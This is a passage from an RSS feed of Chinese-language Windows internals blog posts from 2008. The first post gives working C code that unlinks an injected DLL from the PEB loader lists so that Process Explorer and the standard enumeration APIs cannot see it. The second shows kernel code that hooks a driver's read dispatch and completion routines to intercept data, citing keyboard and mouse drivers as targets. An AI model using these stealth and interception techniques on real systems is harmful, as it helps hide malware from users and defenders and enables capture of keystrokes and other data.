<p><span>.text:51402502<span>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; </span>call<span>&nbsp;&nbsp;&nbsp; </span>edi ; ReadProcessMemory(x,x,x,x,x) ; ReadProcessMemory(x,x,x,x,x)</span></p>
<p><span>这里读取的是</span><span>PEB</span><span>地址</span><span>+0C</span><span>处的四个字节。</span></p>
<p><span>通过</span><span>WinDbg</span><span>我们可以看看</span><span>nt!_PEB</span><span>的结构</span></p>
<p><span>0: kd&gt; dt nt!_PEB</span></p>
<p><span><span>&nbsp;&nbsp; </span>+0x000 InheritedAddressSpace : UChar</span></p>
<p><span><span>&nbsp;&nbsp; </span>+0x001 ReadImageFileExecOptions : UChar</span></p>
<p><span><span>&nbsp;&nbsp; </span>+0x002 BeingDebugged<span>&nbsp;&nbsp;&nbsp; </span>: UChar</span></p>
<p><span><span>&nbsp;&nbsp; </span>+0x003 SpareBool<span>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; </span>: UChar</span></p>
<p><span><span>&nbsp;&nbsp; </span>+0x004 Mutant<span>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; </span>: Ptr32 Void</span></p>
<p><span><span>&nbsp;&nbsp; </span>+0x008 ImageBaseAddress : Ptr32 Void</span></p>
<p><span><span>&nbsp;&nbsp; </span>+0x00c Ldr<span>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; </span>: Ptr32 _PEB_LDR_DATA</span></p>
<p><span>&nbsp;&nbsp;+0x010 ProcessParameters : Ptr32 _RTL_USER_PROCESS_PARAMETERS</span></p>
<p><span>&#8230;&#8230;</span></p>
<p><span>+0C</span><span>处是一个</span><span>_PEB_LDR_DATA</span><span>结构指针，里面包含了和</span><span>LDR</span><span>相关的一些数据，进程的模块链表就保存在</span><span>Ldr</span><span>中。下面是</span><span>_PEB_LDR_DATA</span><span>的结构：</span></p>
<p><span>0: kd&gt; dt nt!_PEB_LDR_DATA</span></p>
<p><span><span>&nbsp;&nbsp; </span>+0x000 Length<span>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; </span>: Uint4B</span></p>
<p><span><span>&nbsp;&nbsp; </span>+0x004 Initialized<span>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; </span>: UChar</span></p>
<p><span><span>&nbsp;&nbsp; </span>+0x008 SsHandle<span>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; </span>: Ptr32 Void</span></p>
<p><span><span>&nbsp;&nbsp; </span>+0x00c InLoadOrderModuleList : _LIST_ENTRY</span></p>
<p><span><span>&nbsp;&nbsp; </span>+0x014 InMemoryOrderModuleList : _LIST_ENTRY</span></p>
<p><span><span>&nbsp;&nbsp; </span>+0x01c InInitializationOrderModuleList : _LIST_ENTRY</span></p>
<p><span><span>&nbsp;&nbsp; </span>+0x024 EntryInProgress&nbsp;: Ptr32 Void</span></p>
<p><span>其中，</span><span>InLoadOrderModuleList</span><span>、</span><span>InMemoryOrderModuleList</span><span>、</span><span>InInitializationOrderModuleList</span><span>就是进程当前已加载模块的链表，只是按照不同的方式排序。</span><span>EnumProcessModules</span><span>是通过</span><span>InMemoryOrderModuleList</span><span>链表枚举的，而根据</span><span>Win2k</span><span>代码，</span><span>ToolHelp32</span><span>函数是通过</span><span>InLoadOrderModuleList</span><span>枚举。这三个</span><span>_LIST_ENTRY</span><span>都是在一个</span><span>RTL_PROCESS_MODULE_INFORMATION</span><span>结构中的成员。这个结构在</span><span>2k</span><span>代码中有引用，不过没有确切的定义，下面是</span><span>ReactOS</span><span>中的定义，不过看起来我的</span><span>vista PSAPI</span><span>中使用的结构已经有所变化了，这里只作参考。</span></p>
<p><span>//</span></p>
<p><span>// Loader Data Table Entry</span></p>
<p><span>//</span></p>
<p><span>typedef struct _LDR_DATA_TABLE_ENTRY</span></p>
<p><span>{</span></p>
<p><span><span>&nbsp;&nbsp;&nbsp; </span>LIST_ENTRY InLoadOrderLinks;</span></p>
<p><span><span>&nbsp;&nbsp;&nbsp; </span>LIST_ENTRY InMemoryOrderModuleList;</span></p>
<p><span><span>&nbsp;&nbsp;&nbsp; </span>LIST_ENTRY InInitializationOrderModuleList;</span></p>
<p><span><span>&nbsp;&nbsp;&nbsp; </span>PVOID DllBase;</span></p>
<p><span><span>&nbsp;&nbsp;&nbsp; </span>PVOID EntryPoint;</span></p>
<p><span><span>&nbsp;&nbsp;&nbsp; </span>ULONG SizeOfImage;</span></p>
<p><span><span>&nbsp;&nbsp;&nbsp; </span>UNICODE_STRING FullDllName;</span></p>
<p><span><span>&nbsp;&nbsp;&nbsp; </span>UNICODE_STRING BaseDllName;</span></p>
<p><span><span>&nbsp;&nbsp;&nbsp; </span>ULONG Flags;</span></p>
<p><span><span>&nbsp;&nbsp;&nbsp; </span>USHORT LoadCount;</span></p>
<p><span><span>&nbsp;&nbsp;&nbsp; </span>USHORT TlsIndex;</span></p>
<p><span><span>&nbsp;&nbsp;&nbsp; </span>union</span></p>
<p><span><span>&nbsp;&nbsp;&nbsp; </span>{</span></p>
<p><span><span>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; </span>LIST_ENTRY HashLinks;</span></p>
<p><span><span>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; </span>PVOID SectionPointer;</span></p>
<p><span><span>&nbsp;&nbsp;&nbsp; </span>};</span></p>
<p><span><span>&nbsp;&nbsp;&nbsp; </span>ULONG CheckSum;</span></p>
<p><span><span>&nbsp;&nbsp;&nbsp; </span>union</span></p>
<p><span><span>&nbsp;&nbsp;&nbsp; </span>{</span></p>
<p><span><span>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; </span>ULONG TimeDateStamp;</span></p>
<p><span><span>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; </span>PVOID LoadedImports;</span></p>
<p><span><span>&nbsp;&nbsp;&nbsp; </span>};</span></p>
<p><span><span>&nbsp;&nbsp;&nbsp; </span>PVOID EntryPointActivationContext;</span></p>
<p><span><span>&nbsp;&nbsp;&nbsp; </span>PVOID PatchInformation;</span></p>
<p><span>} LDR_DATA_TABLE_ENTRY, *PLDR_DATA_TABLE_ENTRY;</span></p>
<p><span>到这里，隐藏模块的方法就已经明了了：通过</span><span>PEB</span><span>取得</span><span>Ldr</span><span>数据，拿到三个模块链表，并将要隐藏的模块断链即可。下面是主要代码实现：</span></p>
<p><span>BOOL</span><span> <span>HideMyself</span>()</span></p>
<p><span>{</span></p>
<p><span><span>&nbsp;&nbsp;&nbsp;&nbsp; </span><span>HMODULE</span> <span>hMod</span> = <span>GetModuleHandle</span>( <span>_T</span>( <span>"ntdll.dll"</span>));</span></p>
<p><span><span>&nbsp;&nbsp;&nbsp;&nbsp; </span><span>HMODULE</span> <span>hModMyself</span> = <span>GetModuleHandle</span>( <span>_T</span>(<span>"dll.dll"</span>));</span></p>
<p><span><span>&nbsp;&nbsp;&nbsp;&nbsp; </span><span>pfnNtQueryInformationProcess</span> <span>p</span> = (<span>pfnNtQueryInformationProcess</span>)::<span>GetProcAddress</span>( <span>hMod</span>, <span>"NtQueryInformationProcess"</span>);</span></p>
<p>&nbsp;</p>
<p><span><span>&nbsp;&nbsp;&nbsp;&nbsp; </span><span>PROCESS_BASIC_INFORMATION</span> <span>stInfo</span> = {0};</span></p>
<p><span><span>&nbsp;&nbsp;&nbsp;&nbsp; </span><span>DWORD</span> <span>dwRetnLen</span> = 0;</span></p>
<p><span><span>&nbsp;&nbsp;&nbsp;&nbsp; </span><span>DWORD</span> <span>dw</span> = <span>p</span>( <span>GetCurrentProcess</span>(), 0, &amp;<span>stInfo</span>, <span>sizeof</span>(<span>stInfo</span>), &amp;<span>dwRetnLen</span>);</span></p>
<p>&nbsp;</p>
<p><span><span>&nbsp;&nbsp;&nbsp;&nbsp; </span><span>PPEB</span> <span>pPeb</span> = <span>stInfo</span>.<span>PebBaseAddress</span>;</span></p>
<p><span><span>&nbsp;&nbsp;&nbsp;&nbsp; </span><span>PLIST_ENTRY</span> <span>ListHead</span>, <span>Current</span>;</span></p>
<p><span><span>&nbsp;&nbsp;&nbsp;&nbsp; </span><span>PLDR_DATA_TABLE_ENTRY</span> <span>pstEntry</span> = <span>NULL</span>;</span></p>
<p>&nbsp;</p>
<p><span><span>&nbsp;&nbsp;&nbsp;&nbsp; </span><span>ListHead</span> = &amp;( <span>stInfo</span>.<span>PebBaseAddress</span>-&gt;<span>Ldr</span>-&gt;<span>InLoadOrderModuleList</span>);</span></p>
<p><span><span>&nbsp;&nbsp;&nbsp;&nbsp; </span><span>Current</span> = <span>ListHead</span>-&gt;<span>Flink</span>;</span></p>
<p><span><span>&nbsp;&nbsp;&nbsp;&nbsp; </span><span>while</span> ( <span>Current</span> != <span>ListHead</span>)</span></p>
<p><span><span>&nbsp;&nbsp;&nbsp;&nbsp; </span>{</span></p>
<p><span><span>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; </span><span>pstEntry</span> = <span>CONTAINING_RECORD</span>( <span>Current</span>, <span>LDR_DATA_TABLE_ENTRY</span>, <span>InLoadOrderLinks</span>);</span></p>
<p><span><span>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; </span><span>//DebugOutW( L"Module:%s, base:0x%X\r\n", pstEntry-&gt;FullDllName.Buffer, pstEntry-&gt;EntryPoint);</span></span></p>
<p><span><span>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; </span><span>if</span> ( <span>pstEntry</span>-&gt;<span>DllBase</span> == <span>hModMyself</span>)</span></p>
<p><span><span>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; </span>{</span></p>
<p><span><span>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; </span><span>pstEntry</span>-&gt;<span>InLoadOrderLinks</span>.<span>Flink</span>-&gt;<span>Blink</span> = <span>pstEntry</span>-&gt;<span>InLoadOrderLinks</span>.<span>Blink</span>;</span></p>
<p><span><span>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; </span><span>pstEntry</span>-&gt;<span>InLoadOrderLinks</span>.<span>Blink</span>-&gt;<span>Flink</span> = <span>pstEntry</span>-&gt;<span>InLoadOrderLinks</span>.<span>Flink</span>;</span></p>
<p><span><span>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; </span><span>DebugOut</span>( <span>_T</span>( <span>"Hide injected dll."</span>));</span></p>
<p><span><span>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; </span><span>break</span>;</span></p>
<p><span><span>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; </span>}</span></p>
<p><span><span>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; </span><span>Current</span> = <span>pstEntry</span>-&gt;<span>InLoadOrderLinks</span>.<span>Flink</span>;</span></p>
<p><span><span>&nbsp;&nbsp;&nbsp;&nbsp; </span>}</span></p>
<p>&nbsp;</p>
<p><span><span>&nbsp;&nbsp;&nbsp;&nbsp; </span><span>ListHead</span> = &amp;( <span>stInfo</span>.<span>PebBaseAddress</span>-&gt;<span>Ldr</span>-&gt;<span>InMemoryOrderModuleList</span>);</span></p>
<p><span><span>&nbsp;&nbsp;&nbsp;&nbsp; </span><span>Current</span> = <span>ListHead</span>-&gt;<span>Flink</span>;</span></p>
<p><span><span>&nbsp;&nbsp;&nbsp;&nbsp; </span><span>while</span> ( <span>Current</span> != <span>ListHead</span>)</span></p>
<p><span><span>&nbsp;&nbsp;&nbsp;&nbsp; </span>{</span></p>
<p><span><span>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; </span><span>pstEntry</span> = <span>CONTAINING_RECORD</span>( <span>Current</span>, <span>LDR_DATA_TABLE_ENTRY</span>, <span>InMemoryOrderModuleList</span>);</span></p>
<p><span><span>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; </span><span>DebugOutW</span>( <span>L</span><span>"Module:%s, base:0x%X\r\n"</span>, <span>pstEntry</span>-&gt;<span>FullDllName</span>.<span>Buffer</span>, <span>pstEntry</span>-&gt;<span>EntryPoint</span>);</span></p>
<p><span><span>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; </span><span>if</span> ( <span>pstEntry</span>-&gt;<span>DllBase</span> == <span>hModMyself</span>)</span></p>
<p><span><span>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; </span>{</span></p>
<p><span><span>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; </span><span>pstEntry</span>-&gt;<span>InMemoryOrderModuleList</span>.<span>Flink</span>-&gt;<span>Blink</span> = <span>pstEntry</span>-&gt;<span>InMemoryOrderModuleList</span>.<span>Blink</span>;</span></p>
<p><span><span>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; </span><span>pstEntry</span>-&gt;<span>InMemoryOrderModuleList</span>.<span>Blink</span>-&gt;<span>Flink</span> = <span>pstEntry</span>-&gt;<span>InMemoryOrderModuleList</span>.<span>Flink</span>;</span></p>
<p><span><span>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; </span><span>DebugOut</span>( <span>_T</span>( <span>"Hide injected dll."</span>));</span></p>
<p><span><span>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; </span><span>break</span>;</span></p>
<p><span><span>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; </span>}</span></p>
<p><span><span>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; </span><span>Current</span> = <span>pstEntry</span>-&gt;<span>InMemoryOrderModuleList</span>.<span>Flink</span>;</span></p>
<p><span><span>&nbsp;&nbsp;&nbsp;&nbsp; </span>}</span></p>
<p><span><span>&nbsp;&nbsp;&nbsp;&nbsp; </span><span>DebugOutW</span>( <span>L</span><span>"\r\n"</span>);</span></p>
<p>&nbsp;</p>
<p><span><span>&nbsp;&nbsp;&nbsp;&nbsp; </span><span>ListHead</span> = &amp;( <span>stInfo</span>.<span>PebBaseAddress</span>-&gt;<span>Ldr</span>-&gt;<span>InInitializationOrderModuleList</span>);</span></p>
<p><span><span>&nbsp;&nbsp;&nbsp;&nbsp; </span><span>Current</span> = <span>ListHead</span>-&gt;<span>Flink</span>;</span></p>
<p><span><span>&nbsp;&nbsp;&nbsp;&nbsp; </span><span>while</span> ( <span>Current</span> != <span>ListHead</span>)</span></p>
<p><span><span>&nbsp;&nbsp;&nbsp;&nbsp; </span>{</span></p>
<p><span><span>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; </span><span>pstEntry</span> = <span>CONTAINING_RECORD</span>( <span>Current</span>, <span>LDR_DATA_TABLE_ENTRY</span>, <span>InInitializationOrderModuleList</span>);</span></p>
<p><span><span>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; </span><span>DebugOutW</span>( <span>L</span><span>"Module:%s, base:0x%X\r\n"</span>, <span>pstEntry</span>-&gt;<span>FullDllName</span>.<span>Buffer</span>, <span>pstEntry</span>-&gt;<span>EntryPoint</span>);</span></p>
<p><span><span>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; </span><span>if</span> ( <span>pstEntry</span>-&gt;<span>DllBase</span> == <span>hModMyself</span>)</span></p>
<p><span><span>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; </span>{</span></p>
<p><span><span>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; </span><span>pstEntry</span>-&gt;<span>InInitializationOrderModuleList</span>.<span>Flink</span>-&gt;<span>Blink</span> = <span>pstEntry</span>-&gt;<span>InInitializationOrderModuleList</span>.<span>Blink</span>;</span></p>
<p><span><span>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; </span><span>pstEntry</span>-&gt;<span>InInitializationOrderModuleList</span>.<span>Blink</span>-&gt;<span>Flink</span> = <span>pstEntry</span>-&gt;<span>InInitializationOrderModuleList</span>.<span>Flink</span>;</span></p>
<p><span><span>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; </span><span>DebugOut</span>( <span>_T</span>( <span>"Hide injected dll."</span>));</span></p>
<p><span><span>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; </span><span>break</span>;</span></p>
<p><span><span>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; </span>}</span></p>
<p><span><span>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; </span><span>Current</span> = <span>pstEntry</span>-&gt;<span>InInitializationOrderModuleList</span>.<span>Flink</span>;</span></p>
<p><span><span>&nbsp;&nbsp;&nbsp;&nbsp; </span>}</span></p>
<p><span><span>&nbsp;&nbsp;&nbsp;&nbsp; </span><span>//DebugOut( _T("Out HideMyself\r\n"));</span></span></p>
<p><span><span>&nbsp;&nbsp;&nbsp;&nbsp; </span><span>return</span> <span>TRUE</span>;</span></p>
<p><span>}</span></p>
<p><span><span>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; </span></span><span>这样处理之后，通过常规的枚举进程方式已经枚举不到隐藏模块，</span><span>ProcessExplorer</span><span>也无法枚举。但是，通过枚举进程内存空间等非常规方法，仍然是可以找到的。关于</span><span>PSAPI</span><span>和</span><span>Toolhelp</span><span>函数枚举模块的原理，可以逆向</span><span>Windows</span><span>代码，或者查找网上的代码看看就明白了。</span></p>
<img src ="http://www.cnitblog.com/cc682/aggbug/43263.html" width = "1" height = "1" /><br><br><div align=right><a style="text-decoration:none;" href="http://www.cnitblog.com/cc682/" target="_blank">NetRoc</a> 2008-05-04 14:59 <a href="http://www.cnitblog.com/cc682/articles/43263.html#Feedback" target="_blank" style="text-decoration:none;">发表评论</a></div>]]></description></item><item><title>两种不使用过滤驱动从驱动获取数据的方法</title><link>http://www.cnitblog.com/cc682/articles/43264.html</link><dc:creator>NetRoc</dc:creator><author>NetRoc</author><pubDate>Sun, 04 May 2008 06:59:00 GMT</pubDate><guid>http://www.cnitblog.com/cc682/articles/43264.html</guid><wfw:comment>http://www.cnitblog.com/cc682/comments/43264.html</wfw:comment><comments>http://www.cnitblog.com/cc682/articles/43264.html#Feedback</comments><slash:comments>0</slash:comments><wfw:commentRss>http://www.cnitblog.com/cc682/comments/commentRss/43264.html</wfw:commentRss><trackback:ping>http://www.cnitblog.com/cc682/services/trackbacks/43264.html</trackback:ping><description><![CDATA[&nbsp;
<p>&nbsp;</p>
<p align=right><span>NetRoc</span></p>
<p><span>一直想写点技术文章的，但是每次想起这事的时候没时间，有时间的时候又提不起兴致</span><span><span>J</span></span><span>。</span></p>
<p><span>我们有时候需要从系统中某些驱动处理数据的方式，例如作一些过滤、对数据进行一些修改或者监视通过某个设备栈的数据等等。通常情况下是采用</span><span>Filter Driver</span><span>的方式实现。但是这样有种种局限性：容易暴露自己的存在、有些情况下可能不能再</span><span>Detach</span><span>掉，升级驱动的时候必须重启机器等等。</span></p>
<p><span>这里介绍两种通过</span><span>HOOK</span><span>方式截取数据的方法。</span></p>
<p><span><span>1、<span> </span></span></span><span>Hook Dispatch</span><span>例程。</span></p>
<p><span>首先通过</span><span>ObReferenceObjectByName</span><span>等函数拿到被</span><span>Hook</span><span>设备的</span><span>DriverObject</span><span>。有了这个之后，我们就可以用指向自己例程的指针改写</span><span>MajorFunction</span><span>数组里面的指针。</span></p>
<p>&nbsp;</p>
<p><span>NTSTATUS ntStatus = STATUS_SUCCESS;</span></p>
<p><span>UNICODE_STRING wszDriverName;</span></p>
<p><span>PDRIVER_OBJECT&nbsp;pDriverObject = NULL;</span></p>
<p><span>PDRIVER_DISPATCH pOrgDispatch = NULL;</span></p>
<p><span><span>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; </span></span></p>
<p><span>RtlInitUnicodeString( &amp;wszDriverName, DRIVER_NAME);</span></p>
<p>&nbsp;</p>
<p><span>ntStatus = ObReferenceObjectByName( &amp;wszDriverName, </span></p>
<p><span><span>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; </span>0, </span></p>
<p><span><span>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; </span>NULL, </span></p>
<p><span><span>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; </span>0, </span></p>
<p><span><span>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; </span>*IoDriverObjectType, </span></p>
<p><span><span>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; </span>//NULL,</span></p>
<p><span><span>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; </span>KernelMode, </span></p>
<p><span><span>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; </span>NULL, </span></p>
<p><span><span>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; </span>(PVOID*)&amp;pDriverObject);</span></p>
<p><span>if( !NT_SUCCESS(ntStatus))</span></p>
<p><span>{</span></p>
<p><span><span>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; </span>DbgPrint( "ObReferenceObjectByName Fail.\r\n");</span></p>
<p><span><span>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; </span>return FALSE;</span></p>
<p><span>}</span></p>
<p><span><span>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; </span>pOrgDispatch&nbsp;= (PDRIVER_DISPATCH) InterlockedExchange( ( PLONG)&amp;pDriverObject-&gt;MajorFunction[IRP_MJ_READ], (LONG)&amp;DispatchMyRead);</span></p>
<p><span><span>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; </span></span><span>&#8230;&#8230;</span></p>
<p><span>卸载的时候同样这样修改回去即可。</span></p>
<p><span>这种方法比较方便，由于只需要改写一个函数指针，避免了</span><span>inline hook</span><span>的很多不稳定因素。另外，在调用原来的</span><span>Dispatch</span><span>例程的时候也只需要直接</span><span>call</span><span>它就行了。</span></p>
<p><span>但是，如果有些</span><span>IRP</span><span>不能立即完成的，例如键盘鼠标驱动的</span><span>IRP</span><span>，用这种方法就拿不到完成时候的数据了。因此我们还需要第二种方式</span><span><span>J</span></span></p>
<p>&nbsp;</p>
<p><span><span>2、<span> </span></span></span><span>Hook Completion Routine</span><span>。</span></p>
<p><span>在</span><span>Hook</span><span>掉的</span><span>Dispatch</span><span>里面，我们已经拿到了发到下层驱动的</span><span>IRP</span><span>。想在完成时再获得控制权，很简单，只需要再</span><span>Hook</span><span>掉</span><span>Completion Routine</span><span>。</span></p>
<p><span>NTSTATUS DispatchMyRead ( IN PDEVICE_OBJECT pDeviceObject, IN PIRP Irp)</span></p>
<p><span>{</span></p>
<p><span><span>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; </span>PIO_STACK_LOCATION irpSp = IoGetCurrentIrpStackLocation( Irp);</span></p>
<p>&nbsp;</p>
<p><span><span>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; </span>//</span><span>需要保存一下旧的完成例程信息</span></p>
<p><span><span>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; </span>g_RecentIrpInfo.ComplettionRoutine = irpSp-&gt;CompletionRoutine;</span></p>
<p><span><span>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; </span>g_RecentIrpInfo.Context = irpSp-&gt;Context;</span></p>
<p><span><span>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; </span>g_RecentIrpInfo.Control = irpSp-&gt;Control;</span></p>
<p><span><span>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; </span>g_RecentIrpInfo.irpSp = irpSp;</span></p>
<p>&nbsp;</p>
<p><span><span>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; </span>//</span><span>安装自己的完成例程</span></p>
<p><span><span>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; </span>irpSp-&gt;CompletionRoutine = MyIoCompletion;</span></p>
<p><span><span>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; </span>irpSp-&gt;Context = NULL;</span></p>
<p><span><span>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; </span>irpSp-&gt;Control = SL_INVOKE_ON_SUCCESS;<span>&nbsp;&nbsp;&nbsp;&nbsp; </span></span></p>
<p>&nbsp;</p>
<p><span><span>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; </span>//OK</span><span>，</span><span>call</span><span>下去。</span></p>
<p><span>ntStatus = g_ pOrgDispatch ( pDeviceObject, Irp);</span></p>
<p><span>return ntStatus;</span></p>
<p><span>}</span></p>
<p>&nbsp;</p>
<span>在</span><span>MyIoCompletion</span><span>当然就是同样的标准</span><span>hook</span><span>操作咯，处理数据，</span><span>call</span><span>原来的</span><span>IoCompletion</span><span>。需要注意的是很多</span><span>Irp</span><span>并没有安装完成例程。</span>
<img src ="http://www.cnitblog.com/cc682/aggbug/43264.html" width = "1" height = "1" /><br><br><div align=right><a style="text-decoration:none;" href="http://www.cnitblog.com/cc682/" target="_blank">NetRoc</a> 2008-05-04 14:59 <a href="http://www.cnitblog.com/cc682/articles/43264.html#Feedback" target="_blank" style="text-decoration:none;">发表评论</a></div>]]></description></item><item><title>Windows内存隐藏技术初探</title><link>http://www.cnitblog.com/cc682/articles/43260.html</link><dc:creator>NetRoc</dc:creator><author>NetRoc</author><pubDate>Sun, 04 May 2008 06:56:00 